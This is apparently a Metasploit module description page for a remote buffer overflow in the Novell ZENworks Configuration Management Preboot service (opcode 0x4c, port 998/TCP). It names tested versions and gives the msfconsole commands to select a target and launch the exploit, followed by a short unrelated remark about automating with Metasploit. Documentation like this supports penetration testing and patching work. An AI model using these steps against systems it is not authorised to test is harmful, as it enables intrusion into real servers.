This module exploits a remote buffer overflow in the ZENworks Configuration Management. The vulnerability exists in the Preboot service and can be triggered by sending a specially crafted packet with the opcode 0x4c (PROXY_CMD_PREBOOT_TASK_INFO2) to port 998/TCP. The module has been successfully tested on Novell ZENworks Configuration Management 10 SP2 / SP3 and Windows Server 2003 SP2 (DEP bypass).

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/novell/zenworks_preboot_op4c_bof
msf exploit(zenworks_preboot_op4c_bof) > show targets
...targets...
msf exploit(zenworks_preboot_op4c_bof) > set TARGET < target-id >
msf exploit(zenworks_preboot_op4c_bof) > show options
...show and set options...
msf exploit(zenworks_preboot_op4c_bof) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
